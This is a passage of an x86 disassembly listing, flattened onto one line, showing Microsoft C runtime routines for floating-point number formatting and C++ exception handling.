loc_41A110 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41A110: ; CODE XREF: sub_41A016+E7j add [ecx+1], bl loc_41A113: ; CODE XREF: sub_41A016+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41A016 endp ; =============== S U B R O U T I N E ======================================= sub_41A11A proc near ; CODE XREF: sub_41A2BA+13p ; sub_41A2DD+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_469500, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41A155 mov eax, dword_469504 mov ebx, [esp+10h+arg_8] mov esi, dword_4694FC cmp eax, ebx jnz short loc_41A185 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41A185 ; --------------------------------------------------------------------------- loc_41A155: ; CODE XREF: sub_41A11A+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41DDDF mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41DD68 add esp, 14h loc_41A185: ; CODE XREF: sub_41A11A+22j ; sub_41A11A+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41A193 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41A193: ; CODE XREF: sub_41A11A+70j mov eax, [esi+4] test eax, eax jg short loc_41A1AA push 1 push edi call sub_41A32E pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41A1AC ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_41A11A+7Ej add edi, eax loc_41A1AC: ; CODE XREF: sub_41A11A+8Ej test ebx, ebx jle short loc_41A1F1 push 1 push edi call sub_41A32E mov al, byte_437F80 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41A1F1 cmp byte_469500, 0 jz short loc_41A1D6 neg esi jmp short loc_41A1DC ; --------------------------------------------------------------------------- loc_41A1D6: ; CODE XREF: sub_41A11A+B6j neg esi cmp ebx, esi jl short loc_41A1DE loc_41A1DC: ; CODE XREF: sub_41A11A+BAj mov ebx, esi loc_41A1DE: ; CODE XREF: sub_41A11A+C0j push ebx push edi call sub_41A32E push ebx push 30h push edi call sub_415570 add esp, 14h loc_41A1F1: ; CODE XREF: sub_41A11A+94j ; sub_41A11A+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41A11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1F8 proc near ; CODE XREF: sub_41A2DD+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41DDDF mov dword_4694FC, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_469504, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41DD68 mov eax, dword_4694FC add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_469504, ecx setl cl mov byte_469508, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_469504, eax jl short loc_41A27E cmp eax, ebx jge short loc_41A27E test cl, cl jz short loc_41A26F loc_41A265: ; CODE XREF: sub_41A1F8+72j mov al, [esi] inc esi test al, al jnz short loc_41A265 and [esi-2], al loc_41A26F: ; CODE XREF: sub_41A1F8+6Bj push ebx push [ebp+arg_4] push edi call sub_41A2BA add esp, 0Ch jmp short loc_41A28E ; --------------------------------------------------------------------------- loc_41A27E: ; CODE XREF: sub_41A1F8+63j ; sub_41A1F8+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41A293 add esp, 10h loc_41A28E: ; CODE XREF: sub_41A1F8+84j pop edi pop esi pop ebx pop ebp retn sub_41A1F8 endp ; =============== S U B R O U T I N E ======================================= sub_41A293 proc near ; CODE XREF: sub_41A1F8+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_469500, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A016 and byte_469500, 0 add esp, 10h retn sub_41A293 endp ; =============== S U B R O U T I N E ======================================= sub_41A2BA proc near ; CODE XREF: sub_41A1F8+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_469500, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41A11A and byte_469500, 0 add esp, 0Ch retn sub_41A2BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2DD proc near ; CODE XREF: sub_417D4C+3AAp ; DATA XREF: sub_415F53o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41A318 cmp [ebp+arg_8], 45h jz short loc_41A318 cmp [ebp+arg_8], 66h jnz short loc_41A305 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A11A add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41A305: ; CODE XREF: sub_41A2DD+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A1F8 jmp short loc_41A329 ; --------------------------------------------------------------------------- loc_41A318: ; CODE XREF: sub_41A2DD+7j ; sub_41A2DD+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A016 loc_41A329: ; CODE XREF: sub_41A2DD+39j add esp, 10h pop ebp retn sub_41A2DD endp ; =============== S U B R O U T I N E ======================================= sub_41A32E proc near ; CODE XREF: sub_41A016+2Cp ; sub_41A11A+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41A351 push esi mov esi, [esp+8+arg_0] push esi call sub_415CF0 inc eax push eax push esi add esi, edi push esi call sub_416490 add esp, 10h pop esi loc_41A351: ; CODE XREF: sub_41A32E+7j pop edi retn sub_41A32E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A353 proc near ; CODE XREF: .nsp0:00416134p ; sub_41619D+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41A369 call sub_41ABF2 loc_41A369: ; CODE XREF: sub_41A353+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41A391 cmp dword ptr [esi+4], 0 jz short loc_41A3E7 cmp [ebp+arg_14], 0 jnz short loc_41A3E7 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41A69A add esp, 10h jmp short loc_41A3E7 ; --------------------------------------------------------------------------- loc_41A391: ; CODE XREF: sub_41A353+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41A3E7 cmp dword ptr [eax], 0E06D7363h jnz short loc_41A3CB cmp [eax+14h], edi jbe short loc_41A3CB mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41A3CB movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41A3EA ; --------------------------------------------------------------------------- loc_41A3CB: ; CODE XREF: sub_41A353+4Aj ; sub_41A353+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41A3EE add esp, 20h loc_41A3E7: ; CODE XREF: sub_41A353+23j ; sub_41A353+29j ... push 1 pop eax loc_41A3EA: ; CODE XREF: sub_41A353+76j pop edi pop esi pop ebp retn sub_41A353 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3EE proc near ; CODE XREF: sub_41A353+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41A40E mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41A413 loc_41A40E: ; CODE XREF: sub_41A3EE+16j call sub_41ABF2 loc_41A413: ; CODE XREF: sub_41A3EE+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41A56A cmp dword ptr [esi+10h], 3 jnz short loc_41A487 cmp [esi+14h], edi jnz short loc_41A487 cmp dword ptr [esi+1Ch], 0 jnz short loc_41A487 mov esi, dword_46950C test esi, esi jz loc_41A565 mov eax, dword_469510 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41DF66 pop ecx test eax, eax pop ecx jnz short loc_41A469 call sub_41ABF2 loc_41A469: ; CODE XREF: sub_41A3EE+74j cmp [esi], ebx jnz loc_41A56A cmp dword ptr [esi+10h], 3 jnz short loc_41A487 cmp [esi+14h], edi jnz short loc_41A487 cmp dword ptr [esi+1Ch], 0 jnz short loc_41A487 call sub_41ABF2 loc_41A487: ; CODE XREF: sub_41A3EE+41j ; sub_41A3EE+46j ... cmp [esi], ebx jnz loc_41A56A cmp dword ptr [esi+10h], 3 jnz loc_41A56A cmp [esi+14h], edi jnz loc_41A56A mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4162EB add esp, 14h mov ebx, eax loc_41A4BE: ; CODE XREF: sub_41A3EE+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41A555 cmp [ebx], edi jg short loc_41A54A cmp edi, [ebx+4] jg short loc_41A54A mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41A547 loc_41A4E3: ; CODE XREF: sub_41A3EE+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41A514 loc_41A4F5: ; CODE XREF: sub_41A3EE+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41A63D add esp, 0Ch test eax, eax jnz short loc_41A523 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41A4F5 loc_41A514: ; CODE XREF: sub_41A3EE+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41A4E3 jmp short loc_41A547 ; --------------------------------------------------------------------------- loc_41A523: ; CODE XREF: sub_41A3EE+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41A74E add esp, 2Ch loc_41A547: ; CODE XREF: sub_41A3EE+F3j ; sub_41A3EE+133j mov edi, [ebp+var_10] loc_41A54A: ; CODE XREF: sub_41A3EE+DEj ; sub_41A3EE+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41A4BE ; --------------------------------------------------------------------------- loc_41A555: ; CODE XREF: sub_41A3EE+D6j cmp [ebp+arg_14], 0 jz short loc_41A565 push 1 push esi call sub_41AAC3 pop ecx pop ecx loc_41A565: ; CODE XREF: sub_41A3EE+56j ; sub_41A3EE+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A56A: ; CODE XREF: sub_41A3EE+37j ; sub_41A3EE+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41A590 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41A595 add esp, 20h jmp short loc_41A565 ; --------------------------------------------------------------------------- loc_41A590: ; CODE XREF: sub_41A3EE+180j jmp sub_41AB9C sub_41A3EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A595 proc near ; CODE XREF: sub_41A3EE+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_469514, 0 push esi push edi jz short loc_41A5C6 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4161C2 add esp, 1Ch test eax, eax jnz short loc_41A639 loc_41A5C6: ; CODE XREF: sub_41A595+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4162EB add esp, 14h mov esi, eax loc_41A5E2: ; CODE XREF: sub_41A595+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41A639 cmp edi, [esi] jl short loc_41A631 cmp edi, [esi+4] jg short loc_41A631 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41A60B cmp byte ptr [ecx+8], 0 jnz short loc_41A631 loc_41A60B: ; CODE XREF: sub_41A595+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A74E add esp, 2Ch loc_41A631: ; CODE XREF: sub_41A595+57j ; sub_41A595+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41A5E2 ; --------------------------------------------------------------------------- loc_41A639: ; CODE XREF: sub_41A595+2Fj ; sub_41A595+53j pop edi pop esi leave retn sub_41A595 endp ; =============== S U B R O U T I N E ======================================= sub_41A63D proc near ; CODE XREF: sub_41A3EE+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41A694 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41A694 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41A66E add ecx, 8 push ecx push edx call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_41A690 loc_41A66E: ; CODE XREF: sub_41A63D+1Fj test byte ptr [esi], 2 jz short loc_41A678 test byte ptr [edi], 8 jz short loc_41A690 loc_41A678: ; CODE XREF: sub_41A63D+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41A687 test byte ptr [edi], 1 jz short loc_41A690 loc_41A687: ; CODE XREF: sub_41A63D+43j test al, 2 jz short loc_41A694 test byte ptr [edi], 2 jnz short loc_41A694 loc_41A690: ; CODE XREF: sub_41A63D+2Fj ; sub_41A63D+39j ... xor eax, eax jmp short loc_41A697 ; --------------------------------------------------------------------------- loc_41A694: ; CODE XREF: sub_41A63D+Bj ; sub_41A63D+14j ... push 1 pop eax loc_41A697: ; CODE XREF: sub_41A63D+55j pop edi pop esi retn sub_41A63D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A69A proc near ; CODE XREF: sub_41A353+34p ; sub_41A74E+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4217F8 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41A6CC: ; CODE XREF: sub_41A69A+8Aj cmp esi, [ebp+arg_C] jz short loc_41A726 cmp esi, 0FFFFFFFFh jle short loc_41A6DB cmp esi, [edi+4] jl short loc_41A6E0 loc_41A6DB: ; CODE XREF: sub_41A69A+3Aj call sub_41ABF2 loc_41A6E0: ; CODE XREF: sub_41A69A+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41A6FB push 103h push ebx push eax call sub_41AB50 loc_41A6FB: ; CODE XREF: sub_41A69A+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41A71B ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41A738 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41A71B: ; CODE XREF: sub_41A69A+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41A6CC ; --------------------------------------------------------------------------- loc_41A726: ; CODE XREF: sub_41A69A+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A69A endp ; =============== S U B R O U T I N E ======================================= sub_41A738 proc near ; CODE XREF: sub_41A69A+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41A749 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A749: ; CODE XREF: sub_41A738+Cj jmp sub_41AB9C sub_41A738 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A74E proc near ; CODE XREF: sub_41A3EE+151p ; sub_41A595+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41A770 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41A8FF add esp, 10h loc_41A770: ; CODE XREF: sub_41A74E+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41A77C push edi jmp short loc_41A77F ; --------------------------------------------------------------------------- loc_41A77C: ; CODE XREF: sub_41A74E+29j push [ebp+arg_24] loc_41A77F: ; CODE XREF: sub_41A74E+2Cj call sub_4160C4 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_41A69A mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41A7C9 add esp, 2Ch test eax, eax jz short loc_41A7C4 push edi push eax call sub_416082 loc_41A7C4: ; CODE XREF: sub_41A74E+6Dj pop edi pop esi pop ebx pop ebp retn sub_41A74E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A7C9 proc near ; CODE XREF: sub_41A74E+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421808 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_46950C mov [ebp+var_1C], ecx mov ecx, dword_469510 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_46950C, edi mov ecx, [ebp+arg_8] mov dword_469510, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_416149 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41A88F mov eax, [ebp+var_2C] loc_41A856: ; CODE XREF: sub_41A86F+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A7C9 endp ; =============== S U B R O U T I N E ======================================= sub_41A865 proc near ; DATA XREF: .nsp0:00421818o push dword ptr [ebp-14h] call sub_41A8D5 pop ecx retn sub_41A865 endp ; =============== S U B R O U T I N E ======================================= sub_41A86F proc near ; DATA XREF: .nsp0:0042181Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4163AA pop ecx pop ecx xor eax, eax jmp short loc_41A856 sub_41A86F endp ; --------------------------------------------------------------------------- loc_41A887: ; DATA XREF: .nsp0:00421810o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41A88F proc near ; CODE XREF: sub_41A7C9+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_46950C, eax mov eax, [ebp-20h] mov dword_469510, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41A8D4 cmp dword ptr [edi+10h], 3 jnz short locret_41A8D4 cmp dword ptr [edi+14h], 19930520h jnz short locret_41A8D4 cmp [ebp-24h], ebx jnz short locret_41A8D4 cmp [ebp-2Ch], ebx jz short locret_41A8D4 call sub_416412 push eax push edi call sub_41AAC3 pop ecx pop ecx locret_41A8D4: ; CODE XREF: sub_41A88F+1Cj ; sub_41A88F+22j ... retn sub_41A88F endp ; =============== S U B R O U T I N E ======================================= sub_41A8D5 proc near ; CODE XREF: sub_41A865+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41A8FC cmp dword ptr [eax+10h], 3 jnz short loc_41A8FC cmp dword ptr [eax+14h], 19930520h jnz short loc_41A8FC cmp dword ptr [eax+1Ch], 0 jnz short loc_41A8FC push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A8FC: ; CODE XREF: sub_41A8D5+Cj ; sub_41A8D5+12j ... xor eax, eax retn sub_41A8D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8FF proc near ; CODE XREF: sub_41A74E+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421820 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41AAA8 cmp byte ptr [eax+8], 0 jz loc_41AAA8 mov eax, [ecx+8] test eax, eax jz loc_41AAA8 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41A99C mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41DF66 pop ecx pop ecx test eax, eax jz loc_41AA9F push 1 push edi call sub_41DF82 pop ecx pop ecx test eax, eax jz loc_41AA9F mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41A98D: ; CODE XREF: sub_41A8FF+F5j push eax call sub_41AB2A pop ecx pop ecx mov [edi], eax jmp loc_41AAA4 ; --------------------------------------------------------------------------- loc_41A99C: ; CODE XREF: sub_41A8FF+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41A9F6 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41DF66 pop ecx pop ecx test eax, eax jz loc_41AA9F push 1 push edi call sub_41DF82 pop ecx pop ecx test eax, eax jz loc_41AA9F push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_416490 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41AAA4 mov eax, [edi] test eax, eax jz loc_41AAA4 add esi, 8 push esi jmp short loc_41A98D ; --------------------------------------------------------------------------- loc_41A9F6: ; CODE XREF: sub_41A8FF+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41AA3E call sub_41DF66 pop ecx pop ecx test eax, eax jz loc_41AA9F push 1 push edi call sub_41DF82 pop ecx pop ecx test eax, eax jz short loc_41AA9F push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41AB2A pop ecx pop ecx push eax push edi call sub_416490 add esp, 0Ch jmp short loc_41AAA4 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A8FF+103j call sub_41DF66 pop ecx pop ecx test eax, eax jz short loc_41AA9F push 1 push edi call sub_41DF82 pop ecx pop ecx test eax, eax jz short loc_41AA9F push dword ptr [esi+18h] call sub_41DF9E pop ecx test eax, eax jz short loc_41AA9F test byte ptr [esi], 4 jz short loc_41AA85 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41AB2A pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_4160BD jmp short loc_41AAA4 ; --------------------------------------------------------------------------- loc_41AA85: ; CODE XREF: sub_41A8FF+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41AB2A pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_4160B6 jmp short loc_41AAA4 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A8FF+6Aj ; sub_41A8FF+7Cj ... call sub_41ABF2 loc_41AAA4: ; CODE XREF: sub_41A8FF+98j ; sub_41A8FF+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41AAA8: ; CODE XREF: sub_41A8FF+2Ej ; sub_41A8FF+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A8FF endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41AB9C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AAC3 proc near ; CODE XREF: sub_41A3EE+170p ; sub_41A88F+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421830 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41AB0A mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41AB0A and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_4160B6 or [ebp+var_4], 0FFFFFFFFh loc_41AB0A: ; CODE XREF: sub_41AAC3+2Aj ; sub_41AAC3+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41AAC3 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41AB9C ; =============== S U B R O U T I N E ======================================= sub_41AB2A proc near ; CODE XREF: sub_41A8FF+8Fp ; sub_41A8FF+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41AB4B mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41AB4B: ; CODE XREF: sub_41AB2A+12j pop esi retn sub_41AB2A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB50 proc near ; CODE XREF: sub_416149+40p ; sub_41A69A+5Cp var_4 = dword 